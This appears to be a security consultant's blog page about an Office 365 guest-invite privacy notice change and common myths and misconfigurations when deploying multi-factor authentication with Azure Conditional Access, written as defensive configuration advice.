On June 18th Microsoft announced in the Office 365 Message Center (“MC182498”) that guest user invites will now include your organization’s privacy policy contact information to all external guest invites. This does not apply to you if you have disabled guest access.

Sounds great but what if you don’t have privacy policies? Your new guests will receive a Shame Prompt as shown below.

Follow these instructions to update your organization’s privacy policy. https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/active-directory-properties-area

Pro-Tip – You don’t need all three configured, you can get by with just the first two. Here is what it looks like when you only have the email address fields completed.

Note: If you have the data in Office 365, you can consider piggy-backing on the Microsoft Privacy Policy so you can defer to how Microsoft stores the data (run that by your Lawyer of course!).

https://privacy.microsoft.com/en-US/privacystatement

Otherwise, there is a free privacy template at the GDPR website here: https://gdpr.eu/wp-content/uploads/2019/01/Our-Company-Privacy-Policy.pdf

Top MFA Myths and Misconfigurations

As a consultant who specializes in deploying Microsoft security solutions, I have helped deploy multi-factor authentication to hundreds of companies over the years. I’ve heard lots of excuses why companies fail to deploy MFA, and I’ve seen even more misconfigured MFA deployments. I’ve heard alarming stats that fewer than 3% of Global Administrators are enabled for MFA. Let’s see if we can bust through the blockers that prevent people from deploying MFA correctly. Here are the top misconfigurations and/or myths that I have encountered.

  • “I can deploy a single Azure Conditional Access Policy to enforce MFA”

    That is a myth. You must deploy at least a 2nd policy to block legacy authentication, because CA policies do not block legacy authentication by default. You must have a 2nd policy that specifically has the client apps “other clients” selected. You would think a ‘block access’ means block all access and that you wouldn’t have to configure something beyond that, but you must create the additional condition.

  • I can block foreign attackers from signing in by creating a Conditional Access policy to block IP addresses outside of the United States.

    This is mostly a myth. While you may deter the laziest “drive-by attackers”, any determined attackers will relay through a VM residing inside the United States (for example, a compromised IaaS VM hosted in Amazon or Azure), or use a VPN proxy with an exit node inside the United States.

    Important note: IP-Fencing policies will not block *all* IPv6 address unless you check the box “Include unknown areas.” This is because some IPv6 blocks are not associated with a particular location.

    Important! This also works the other way:  If you have a block policy that excludes USA, you may still be blocking connections from inside the USA that use IPv6 addresses – since some IPv6 ranges don’t have an associated location.

  • “I can’t block legacy auth because we don’t have an Azure AD Premium license”

    This is a myth because while the premium license certainly makes things easier, there are three ways you can still block legacy authentication.

  • “I don’t need to consider Office clients when deploying MFA.”

    That may be true if you have fully deployed Office 2016 or higher, however, if you have any older clients, then you have work to do.

    • Office 2013 clients do not support MFA unless you deploy two registry keys

    • Office 2010 and older clients require the use of MFA Application Passwords, which are pure evil because they never expire, so when you go to terminate the user by resetting their AD password, most helpdesks forget to delete the MFA app passwords because its buried in a separate administrative interface. Worse yet, MFA App Passwords are enabled by default unless you turn them off in the hidden MFA admin portal (here) (most people don’t realize that ‘service settings’ is a click-able link, so they never see the option to disable MFA app passwords!
  • “We couldn’t deploy MFA at my organization because it broke our administrative PowerShell.”

    Many of the Office 365 Administrators aren’t aware that they have to download MFA–compatible PowerShell modules.
    Try the new Azure Cloud Shell, which takes the hassle out of downloading MFA modules. Azure AD and Exchange Online are already pre-loaded. Sign in from any web browser! https://shell.azure.com

    Or, if you want to use the old method, download all the modules from Terry Munro’s blog here. Setup your workstation following his walkthrough (here), and then download the all-in-one script (here) which is what I prefer to use.

  • “we couldn’t deploy MFA because we use ActiveSync”

    While it is true that older ActiveSync clients do not support MFA, you can work-around this by deploying an MFA-compatible application such as Outlook for iOS or Android. If you don’t have the means of distributing software to your end-users, or if you think you can’t ask them to install the Outlook App themselves (by the way you are underestimating your users, they know how to use the App Store!). Anyway, if you don’t want the hassle of communicating to end-users, then you could create a policy in Exchange Online that quarantines devices by default unless they are authorized by IT. You can also run a PowerShell script to determine how many of your users are using older ActiveSync clients, like the script I published in the TechNet Gallery (here).

  • “we tried rolling out MFA, but our users still had to use “MFA App Passwords” so we stopped the rollout.”

    This can happen if your Office 365 tenant has not been enabled for Modern Auth. Microsoft stated that they were in the process of rolling this out to all new tenants created after August 2017, however, I still sometimes come across customer tenants where these settings are not enabled. In short, if you are still seeing modern clients require Modern Auth, it usually means that it is not enabled for Exchange Online and/or Skype Online. So you need to enable those with PowerShell as described here for Exchange and here for Skype Online.

    Did you know? The new admin center now allows you to enable Modern Auth without using PowerShell!

    https://docs.microsoft.com/en-us/office365/admin/security-and-compliance/set-up-multi-factor-authentication?view=o365-worldwide#enable-multi-factor-authentication-for-your-organization

  • CA Policies do not override MFA Always ON. You must disable MFA-Always ON before a CA Policy will take effect, otherwise MFA-Always ON will override the CA Policy.

    I had a customer start off with deploying Always ON MFA, then they wanted to stop having people prompted for MFA from domain joined machines. They couldn’t figure out why their conditional access policies were not working. It turned out, they never went back to disable Always ON MFA. They assumed it should have been smart enough to override the Always ON MFA. As soon as we disabled the Always ON MFA setting, then the conditional access policies kicked in correctly, so that MFA prompts did not appear when they originated from domain-joined machines.

  • “we are configured to use Mobile Authenticator so we are configured according to best practice!”

    That is only true if you also disabled SMS, which is enabled by default and available for an attacker to perform a downgrade attack. Technically, SMS is better than no MFA (it’s 99% effective against drive-by attacks), but if you want to be configured according to best practice, you will go the extra step of removing SMS from being an option presented to users. PCI & NIST 800-63: SMS should no longer be used in 2FA, because SMS is only 76% effective against nation-state groups.

    Note: As stated above, this setting can be hard to find because the “service settings” option does not appear like a click-able link. Here is the direct link if you need help navigating to that setting. https://account.activedirectory.windowsazure.com/UserManagement/MfaSettings.aspx?culture=en-US&BrandContextID=O365

  • “we use Duo, RSA, OKTA or xyz MFA provider so we are protected against credential phishing.”

    This is a huge misnomer. You can be using what you think is the best user-MFA solution in the market, however, unless you have added machine-level authentication to your conditional access policy, you are vulnerable to man-in-the-middle proxy solutions such as EvilGinx2. The only correct way to defend against man-in-the-middle is to add machine authentication as an additional factor (or Intune enrollment for mobile devices). Machine authentication can be domain-join checking, certificate authentication, or FIDO2/U2F. To learn more about this vulnerability, read my other blog post (here).

  • “Conditional Access Policies are not secure because when a user roams outside the corporate network, they are not immediately prompted for MFA.”

    This loophole was fixed ~2 years ago (for Exchange Online) with the New-clientaccessrule. To learn more about it, watch Jeff Kizner’s 2017 Ignite presentation (here) starting at 7:35 through 15:55. In a nutshell, conditional access provides an authentication token if you meet the requirements at the time the token is issued. If the user roams outside the network, the token is not immediately invalidated. Exchange Online has the ability to re-check the IP address location with every packet, to avoid roaming to unauthorized network locations. It would be great if the other services like SharePoint had this but as far as I am aware they do not.

  • MFA is just too much of a user impact for us to deploy.

    I can sympathize with this sentiment: your IT department is stretched thin and you just can’t gamble with impacting productivity. Just remember this: nobody is going to thank you for reducing user impact when there is a ransomware outbreak that causes a complete work stoppage for days or weeks, or results in having to pay a massive $230 million dollar GDPR fine. Here are four things you can do to reduce the burden of the MFA rollout.

    • Avoid MFA prompts when the PC is domain joined devices (read my blog about this here)
    • Avoid MFA prompts when the mobile device or Mac OSX is managed by Intune
    • Avoid MFA prompts when the user is indie the corporate network
    • Avoid passwords and use the MFA Authenticator app for authentication ( with one important caveat here <- don’t enable passwordless auth if you use the ‘require compliant device checkbox’ )
    • Avoid MFA prompts when connecting from a device that has previously authenticated with MFA at least once (aka Trusted Device)

      If you do any of the above (or all of them), users would only be prompted for MFA when outside the network on a personal device that they haven’t used in the last 60 days! That should reduce the helpdesk calls!

Other Tips:

  • You can now change the frequency of how often users get prompted for MFA! For example, internal users can see the MFA prompt never (see #12 above) or every 1 week, whereas external users can see the MFA prompt every 12 hours.
  • Enable the new Combined Registration experience so that when users register for MFA, they also register for self-service password reset at the same time. Bonus: by enabling the new combined registration experience, you are one step closer to using FIDO2 tokens (the new combined registration is a pre-requisite). Read more here.
  • You can extend your MFA to also protect on-premises workloads like VPN. Read more (here)
I hope this helps! If you need help securing your Office 365 Environment, contact us at [email protected]